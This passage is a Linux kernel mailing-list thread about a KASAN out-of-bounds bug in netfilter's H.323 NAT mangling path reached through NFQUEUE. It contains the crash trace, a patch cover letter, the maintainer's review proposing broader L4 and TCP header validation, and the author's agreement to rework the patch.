kmalloc_reserve (../net/core/skbuff.c:613:9) [ 142.559892] [ T1073] __alloc_skb (../net/core/skbuff.c:703:6) [ 142.559905] [ T1073] alloc_skb_with_frags (../net/core/skbuff.c:6730:6) [ 142.559925] [ T1073] sock_alloc_send_pskb (../include/net/sock.h:2117:10 ../net/core/sock.c:2959:14 ../net/core/sock.c:2996:11) [ 142.559942] [ T1073] __ip_append_data (../include/linux/refcount.h:291:3 ../include/linux/refcount.h:312:2 ../net/ipv4/ip_output.c:1277:3) [ 142.559953] [ T1073] ip_make_skb (../net/ipv4/ip_output.c:1583:1) [ 142.559964] [ T1073] udp_sendmsg (../include/linux/rcupdate.h:867:2 ../include/net/l3mdev.h:102:3 ../net/ipv4/udp.c:1387:18)[ 142.560041] [ T1073] The buggy address belongs to the object at ffff88810fc8ed40 which belongs to the cache skbuff_small_head of size 704 [ 142.560059] [ T1073] The buggy address is located 351 bytes inside of704-byte region [
ffff88810fc8ed40,ffff88810fc8f000)[ 142.560245] [ T1073] Memory state around the buggy address: [ 142.560254] [ T1073] ffff88810fc8ed80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560264] [ T1073] ffff88810fc8ee00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560276] [ T1073] >ffff88810fc8ee80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560287] [ T1073] ^ [ 142.560317] [ T1073] ffff88810fc8ef00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560327] [ T1073] ffff88810fc8ef80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560335] [ T1073] ================================================================== [ 142.560397] [ T1073] Disabling lock debugging due to kernel taint-----END crash log-----
Best regards,
Zhiling ZouZhiling Zou (1):
netfilter: h323: keep NAT mangling aligned with parsed transportnet/ipv4/netfilter/nf_nat_h323.c | 9 +++++++-- net/netfilter/nf_conntrack_h323_main.c | 4 ++++ 2 files changed, 11 insertions(+), 2 deletions(-)--
2.43.0
Florian Westphal
maintainerQuoted 3 lines · zhilin zou
Quoted 3 lines
Quoted 3 lines
packet's current IPv4 protocol byte. A namespace-local packet modifier can rewrite that byte after conntrack has accepted the original layout and before helper processing at the confirm hook.
But it can mangle packet in other ways, no?
AFAICS this fix papers over the problem and only "fixes" this particular reproducer.
Quoted 6 lines
Quoted 6 lines
commit
54f34607d184c1cc056c59a5b3d86d96dd6a515cAuthor: Florian Westphal <[email protected]> Date: Tue Jun 9 13:51:53 2026 +0200netfilter:
nfnetlink_queue: restrict writes to network header
Quoted 7 lines
Quoted 7 lines
commit
df07998dfd40796a05fff7ffea2661ad65ed42a7Author: Florian Westphal <[email protected]> Date: Tue Jun 9 13:51:54 2026 +0200netfilter: nftables: restrict linklayer and network header writes
are you running a kernel with this patches?
Neither fixes are sufficient, afaics, as no tcp revalidation is done.
Ideally we could just remove nfqueue write support, but we can't.
Quoted 6 lines
The issue still reproduces. The crash is:
BUG: KASAN: out-of-bounds in mangle_contents+0x13a/0x680and the trace goes through:
Quoted 8 lines
mangle_contents()__nf_nat_mangle_tcp_packet()set_addr()set_ras_addr()ras_help()nfqnl_recv_verdict()So these commits do not seem to block this NFQUEUE/H.323 NAT mangling path.
Why do you think your patches block this path?
Can't you make a valid TCP packet, then mangle it so that tcp options will get you into end-of-buffer territory?
AFAICS you will need to ask your AI to extend the two commits, for nfqueue, add nfqnl_validate_l4(), called from the tail of ip option validation, for ipv6, called from ipv6 exthdr validation, with the last "next" header as argument.
- Validate minimal size of base header
- validate length in case of IPPROTO_TCP (data_len >= sizeof(struct tcphdr) and data_len >= __tcp_hdrlen())
- reject unknown headers
- reject if l4 proto is different from attached
nf_conn l4proto (if any).
For nft_payload.c: add nft_th_write_ok(), which
rejects writes to TCP th->doff.
nft_nh_write() rejects writes to nexthdr value, so "nf_conn l4 proto changes underneath" should not be possible via nft_payload.
Quoted 60 lines · Florian Westphal
Quoted 3 lines · zhilin zou
Quoted 3 lines
Quoted 3 lines
packet's current IPv4 protocol byte. A namespace-local packet modifier can rewrite that byte after conntrack has accepted the original layout and before helper processing at the confirm hook.
But it can mangle packet in other ways, no?
AFAICS this fix papers over the problem and only "fixes" this particular reproducer.
Quoted 6 lines
Quoted 6 lines
commit
54f34607d184c1cc056c59a5b3d86d96dd6a515cAuthor: Florian Westphal <[email protected]> Date: Tue Jun 9 13:51:53 2026 +0200netfilter:
nfnetlink_queue: restrict writes to network headerQuoted 7 lines
Quoted 7 lines
commit
df07998dfd40796a05fff7ffea2661ad65ed42a7Author: Florian Westphal <[email protected]> Date: Tue Jun 9 13:51:54 2026 +0200netfilter: nftables: restrict linklayer and network header writes
are you running a kernel with this patches?
Neither fixes are sufficient, afaics, as no tcp revalidation is done.
Ideally we could just remove nfqueue write support, but we can't.
Quoted 6 lines
The issue still reproduces. The crash is:
BUG: KASAN: out-of-bounds in mangle_contents+0x13a/0x680and the trace goes through:
Quoted 8 lines
mangle_contents()__nf_nat_mangle_tcp_packet()set_addr()set_ras_addr()ras_help()nfqnl_recv_verdict()So these commits do not seem to block this NFQUEUE/H.323 NAT mangling path.
Why do you think your patches block this path?
Can't you make a valid TCP packet, then mangle it so that tcp options will get you into end-of-buffer territory?
AFAICS you will need to ask your AI to extend the two commits, for nfqueue, add
nfqnl_validate_l4(), called from the tail of ip option validation, for ipv6, called from ipv6 exthdr validation, with the last "next" header as argument.- Validate minimal size of base header
- validate length in case ofIPPROTO_TCP(data_len>= sizeof(struct tcphdr) anddata_len>=__tcp_hdrlen())
- reject unknown headers
- reject if l4 proto is different from attached
nf_connl4proto (if any).
Quoted 5 lines
For
nft_payload.c: addnft_th_write_ok(), which
rejects writes to TCPth->doff.
nft_nh_write()rejects writes to nexthdr value, so "nf_connl4 proto changes underneath" should not be possible vianft_payload.
Hi Florian,
Thanks for the detailed feedback.
I agree that the current H.323-specific change only addresses the mismatch used by this reproducer, and does not cover the more general case where NFQUEUE can return a packet whose L4 header is no longer consistent with the conntrack state or with its own header lengths.
I will rework this for v2 along the lines you suggested: add L4 validation after NFQUEUE packet modification/reinjection, including TCP minimum header and data-offset checks, reject packets whose L4 protocol no longer matches an attached nf_conn where applicable, and update nft_payload.c to reject writes to TCP doff.
Thanks,
Zhiling